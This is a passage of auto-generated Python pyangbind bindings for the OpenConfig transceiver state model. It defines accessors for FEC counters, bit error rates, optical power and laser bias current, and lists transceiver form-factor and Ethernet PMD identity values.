namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """fec_uncorrectable_blocks must be of a type compatible with yang:counter64""", 'defined-type': "yang:counter64", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-uncorrectable-blocks", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False)""", }) self.__fec_uncorrectable_blocks = t if hasattr(self, '_set'): self._set() def _unset_fec_uncorrectable_blocks(self): self.__fec_uncorrectable_blocks = YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-uncorrectable-blocks", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False) def _get_fec_uncorrectable_words(self): """ Getter method for fec_uncorrectable_words, mapped from YANG variable /components/component/transceiver/state/fec_uncorrectable_words (yang:counter64) YANG Description: The number of words that were uncorrectable by the FEC """ return self.__fec_uncorrectable_words def _set_fec_uncorrectable_words(self, v, load=False): """ Setter method for fec_uncorrectable_words, mapped from YANG variable /components/component/transceiver/state/fec_uncorrectable_words (yang:counter64) If this variable is read-only (config: false) in the source YANG file, then _set_fec_uncorrectable_words is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_fec_uncorrectable_words() directly. YANG Description: The number of words that were uncorrectable by the FEC """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-uncorrectable-words", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """fec_uncorrectable_words must be of a type compatible with yang:counter64""", 'defined-type': "yang:counter64", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-uncorrectable-words", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False)""", }) self.__fec_uncorrectable_words = t if hasattr(self, '_set'): self._set() def _unset_fec_uncorrectable_words(self): self.__fec_uncorrectable_words = YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-uncorrectable-words", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False) def _get_fec_corrected_bytes(self): """ Getter method for fec_corrected_bytes, mapped from YANG variable /components/component/transceiver/state/fec_corrected_bytes (yang:counter64) YANG Description: The number of bytes that were corrected by the FEC """ return self.__fec_corrected_bytes def _set_fec_corrected_bytes(self, v, load=False): """ Setter method for fec_corrected_bytes, mapped from YANG variable /components/component/transceiver/state/fec_corrected_bytes (yang:counter64) If this variable is read-only (config: false) in the source YANG file, then _set_fec_corrected_bytes is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_fec_corrected_bytes() directly. YANG Description: The number of bytes that were corrected by the FEC """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-corrected-bytes", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """fec_corrected_bytes must be of a type compatible with yang:counter64""", 'defined-type': "yang:counter64", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-corrected-bytes", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False)""", }) self.__fec_corrected_bytes = t if hasattr(self, '_set'): self._set() def _unset_fec_corrected_bytes(self): self.__fec_corrected_bytes = YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-corrected-bytes", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False) def _get_fec_corrected_bits(self): """ Getter method for fec_corrected_bits, mapped from YANG variable /components/component/transceiver/state/fec_corrected_bits (yang:counter64) YANG Description: The number of bits that were corrected by the FEC """ return self.__fec_corrected_bits def _set_fec_corrected_bits(self, v, load=False): """ Setter method for fec_corrected_bits, mapped from YANG variable /components/component/transceiver/state/fec_corrected_bits (yang:counter64) If this variable is read-only (config: false) in the source YANG file, then _set_fec_corrected_bits is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_fec_corrected_bits() directly. YANG Description: The number of bits that were corrected by the FEC """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-corrected-bits", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """fec_corrected_bits must be of a type compatible with yang:counter64""", 'defined-type': "yang:counter64", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-corrected-bits", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False)""", }) self.__fec_corrected_bits = t if hasattr(self, '_set'): self._set() def _unset_fec_corrected_bits(self): self.__fec_corrected_bits = YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-corrected-bits", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False) def _get_pre_fec_ber(self): """ Getter method for pre_fec_ber, mapped from YANG variable /components/component/transceiver/state/pre_fec_ber (container) YANG Description: Bit error rate before forward error correction -- computed value with 18 decimal precision. Note that decimal64 supports values as small as i x 10^-18 where i is an integer. Values smaller than this should be reported as 0 to inidicate error free or near error free performance. Values include the instantaneous, average, minimum, and maximum statistics. If avg/min/max statistics are not supported, the target is expected to just supply the instant value """ return self.__pre_fec_ber def _set_pre_fec_ber(self, v, load=False): """ Setter method for pre_fec_ber, mapped from YANG variable /components/component/transceiver/state/pre_fec_ber (container) If this variable is read-only (config: false) in the source YANG file, then _set_pre_fec_ber is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_pre_fec_ber() directly. YANG Description: Bit error rate before forward error correction -- computed value with 18 decimal precision. Note that decimal64 supports values as small as i x 10^-18 where i is an integer. Values smaller than this should be reported as 0 to inidicate error free or near error free performance. Values include the instantaneous, average, minimum, and maximum statistics. If avg/min/max statistics are not supported, the target is expected to just supply the instant value """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=pre_fec_ber.pre_fec_ber, is_container='container', yang_name="pre-fec-ber", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """pre_fec_ber must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=pre_fec_ber.pre_fec_ber, is_container='container', yang_name="pre-fec-ber", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False)""", }) self.__pre_fec_ber = t if hasattr(self, '_set'): self._set() def _unset_pre_fec_ber(self): self.__pre_fec_ber = YANGDynClass(base=pre_fec_ber.pre_fec_ber, is_container='container', yang_name="pre-fec-ber", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) def _get_post_fec_ber(self): """ Getter method for post_fec_ber, mapped from YANG variable /components/component/transceiver/state/post_fec_ber (container) YANG Description: Bit error rate after forward error correction -- computed value with 18 decimal precision. Note that decimal64 supports values as small as i x 10^-18 where i is an integer. Values smaller than this should be reported as 0 to inidicate error free or near error free performance. Values include the instantaneous, average, minimum, and maximum statistics. If avg/min/max statistics are not supported, the target is expected to just supply the instant value """ return self.__post_fec_ber def _set_post_fec_ber(self, v, load=False): """ Setter method for post_fec_ber, mapped from YANG variable /components/component/transceiver/state/post_fec_ber (container) If this variable is read-only (config: false) in the source YANG file, then _set_post_fec_ber is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_post_fec_ber() directly. YANG Description: Bit error rate after forward error correction -- computed value with 18 decimal precision. Note that decimal64 supports values as small as i x 10^-18 where i is an integer. Values smaller than this should be reported as 0 to inidicate error free or near error free performance. Values include the instantaneous, average, minimum, and maximum statistics. If avg/min/max statistics are not supported, the target is expected to just supply the instant value """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=post_fec_ber.post_fec_ber, is_container='container', yang_name="post-fec-ber", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """post_fec_ber must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=post_fec_ber.post_fec_ber, is_container='container', yang_name="post-fec-ber", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False)""", }) self.__post_fec_ber = t if hasattr(self, '_set'): self._set() def _unset_post_fec_ber(self): self.__post_fec_ber = YANGDynClass(base=post_fec_ber.post_fec_ber, is_container='container', yang_name="post-fec-ber", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) def _get_output_power(self): """ Getter method for output_power, mapped from YANG variable /components/component/transceiver/state/output_power (container) YANG Description: The output optical power of a physical channel in units of 0.01dBm, which may be associated with individual physical channels, or an aggregate of multiple physical channels (i.e., for the overall transceiver). For an aggregate, this may be a measurement from a photodetector or a a calculation performed on the device by summing up all of the related individual physical channels. Values include the instantaneous, average, minimum, and maximum statistics. If avg/min/max statistics are not supported, the target is expected to just supply the instant value """ return self.__output_power def _set_output_power(self, v, load=False): """ Setter method for output_power, mapped from YANG variable /components/component/transceiver/state/output_power (container) If this variable is read-only (config: false) in the source YANG file, then _set_output_power is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_output_power() directly. YANG Description: The output optical power of a physical channel in units of 0.01dBm, which may be associated with individual physical channels, or an aggregate of multiple physical channels (i.e., for the overall transceiver). For an aggregate, this may be a measurement from a photodetector or a a calculation performed on the device by summing up all of the related individual physical channels. Values include the instantaneous, average, minimum, and maximum statistics. If avg/min/max statistics are not supported, the target is expected to just supply the instant value """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=output_power.output_power, is_container='container', yang_name="output-power", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """output_power must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=output_power.output_power, is_container='container', yang_name="output-power", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False)""", }) self.__output_power = t if hasattr(self, '_set'): self._set() def _unset_output_power(self): self.__output_power = YANGDynClass(base=output_power.output_power, is_container='container', yang_name="output-power", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) def _get_input_power(self): """ Getter method for input_power, mapped from YANG variable /components/component/transceiver/state/input_power (container) YANG Description: The input optical power of a physical channel in units of 0.01dBm, which may be associated with individual physical channels, or an aggregate of multiple physical channels (i.e., for the overall transceiver). For an aggregate, this may be a measurement from a photodetector or a a calculation performed on the device by summing up all of the related individual physical channels. Values include the instantaneous, average, minimum, and maximum statistics. If avg/min/max statistics are not supported, the target is expected to just supply the instant value """ return self.__input_power def _set_input_power(self, v, load=False): """ Setter method for input_power, mapped from YANG variable /components/component/transceiver/state/input_power (container) If this variable is read-only (config: false) in the source YANG file, then _set_input_power is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_input_power() directly. YANG Description: The input optical power of a physical channel in units of 0.01dBm, which may be associated with individual physical channels, or an aggregate of multiple physical channels (i.e., for the overall transceiver). For an aggregate, this may be a measurement from a photodetector or a a calculation performed on the device by summing up all of the related individual physical channels. Values include the instantaneous, average, minimum, and maximum statistics. If avg/min/max statistics are not supported, the target is expected to just supply the instant value """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=input_power.input_power, is_container='container', yang_name="input-power", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """input_power must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=input_power.input_power, is_container='container', yang_name="input-power", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False)""", }) self.__input_power = t if hasattr(self, '_set'): self._set() def _unset_input_power(self): self.__input_power = YANGDynClass(base=input_power.input_power, is_container='container', yang_name="input-power", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) def _get_laser_bias_current(self): """ Getter method for laser_bias_current, mapped from YANG variable /components/component/transceiver/state/laser_bias_current (container) YANG Description: The current applied by the system to the transmit laser to achieve the output power. The current is expressed in mA with up to two decimal precision. Values include the instantaneous, average, minimum, and maximum statistics. If avg/min/max statistics are not supported, the target is expected to just supply the instant value """ return self.__laser_bias_current def _set_laser_bias_current(self, v, load=False): """ Setter method for laser_bias_current, mapped from YANG variable /components/component/transceiver/state/laser_bias_current (container) If this variable is read-only (config: false) in the source YANG file, then _set_laser_bias_current is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_laser_bias_current() directly. YANG Description: The current applied by the system to the transmit laser to achieve the output power. The current is expressed in mA with up to two decimal precision. Values include the instantaneous, average, minimum, and maximum statistics. If avg/min/max statistics are not supported, the target is expected to just supply the instant value """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=laser_bias_current.laser_bias_current, is_container='container', yang_name="laser-bias-current", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """laser_bias_current must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=laser_bias_current.laser_bias_current, is_container='container', yang_name="laser-bias-current", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False)""", }) self.__laser_bias_current = t if hasattr(self, '_set'): self._set() def _unset_laser_bias_current(self): self.__laser_bias_current = YANGDynClass(base=laser_bias_current.laser_bias_current, is_container='container', yang_name="laser-bias-current", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) enabled = __builtin__.property(_get_enabled) form_factor_preconf = __builtin__.property(_get_form_factor_preconf) ethernet_pmd_preconf = __builtin__.property(_get_ethernet_pmd_preconf) fec_mode = __builtin__.property(_get_fec_mode) present = __builtin__.property(_get_present) form_factor = __builtin__.property(_get_form_factor) connector_type = __builtin__.property(_get_connector_type) vendor = __builtin__.property(_get_vendor) vendor_part = __builtin__.property(_get_vendor_part) vendor_rev = __builtin__.property(_get_vendor_rev) ethernet_pmd = __builtin__.property(_get_ethernet_pmd) sonet_sdh_compliance_code = __builtin__.property(_get_sonet_sdh_compliance_code) otn_compliance_code = __builtin__.property(_get_otn_compliance_code) serial_no = __builtin__.property(_get_serial_no) date_code = __builtin__.property(_get_date_code) fault_condition = __builtin__.property(_get_fault_condition) fec_status = __builtin__.property(_get_fec_status) fec_uncorrectable_blocks = __builtin__.property(_get_fec_uncorrectable_blocks) fec_uncorrectable_words = __builtin__.property(_get_fec_uncorrectable_words) fec_corrected_bytes = __builtin__.property(_get_fec_corrected_bytes) fec_corrected_bits = __builtin__.property(_get_fec_corrected_bits) pre_fec_ber = __builtin__.property(_get_pre_fec_ber) post_fec_ber = __builtin__.property(_get_post_fec_ber) output_power = __builtin__.property(_get_output_power) input_power = __builtin__.property(_get_input_power) laser_bias_current = __builtin__.property(_get_laser_bias_current) _pyangbind_elements = OrderedDict([('enabled', enabled), ('form_factor_preconf', form_factor_preconf), ('ethernet_pmd_preconf', ethernet_pmd_preconf), ('fec_mode', fec_mode), ('present', present), ('form_factor', form_factor), ('connector_type', connector_type), ('vendor', vendor), ('vendor_part', vendor_part), ('vendor_rev', vendor_rev), ('ethernet_pmd', ethernet_pmd), ('sonet_sdh_compliance_code', sonet_sdh_compliance_code), ('otn_compliance_code', otn_compliance_code), ('serial_no', serial_no), ('date_code', date_code), ('fault_condition', fault_condition), ('fec_status', fec_status), ('fec_uncorrectable_blocks', fec_uncorrectable_blocks), ('fec_uncorrectable_words', fec_uncorrectable_words), ('fec_corrected_bytes', fec_corrected_bytes), ('fec_corrected_bits', fec_corrected_bits), ('pre_fec_ber', pre_fec_ber), ('post_fec_ber', post_fec_ber), ('output_power', output_power), ('input_power', input_power), ('laser_bias_current', laser_bias_current), ]) from . import pre_fec_ber from . import post_fec_ber from . import output_power from . import input_power from . import laser_bias_current class state(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-platform - based on the path /components/component/transceiver/state. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: Operational state data for client port transceivers """ __slots__ = ('_path_helper', '_extmethods', '__enabled','__form_factor_preconf','__ethernet_pmd_preconf','__fec_mode','__present','__form_factor','__connector_type','__vendor','__vendor_part','__vendor_rev','__ethernet_pmd','__sonet_sdh_compliance_code','__otn_compliance_code','__serial_no','__date_code','__fault_condition','__fec_status','__fec_uncorrectable_blocks','__fec_uncorrectable_words','__fec_corrected_bytes','__fec_corrected_bits','__pre_fec_ber','__post_fec_ber','__output_power','__input_power','__laser_bias_current',) _yang_name = 'state' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): helper = kwargs.pop("path_helper", None) if helper is False: self._path_helper = False elif helper is not None and isinstance(helper, xpathhelper.YANGPathHelper): self._path_helper = helper elif hasattr(self, "_parent"): helper = getattr(self._parent, "_path_helper", False) self._path_helper = helper else: self._path_helper = False self._extmethods = False self.__enabled = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="enabled", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='boolean', is_config=False) self.__form_factor_preconf = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="form-factor-preconf", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) self.__ethernet_pmd_preconf = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 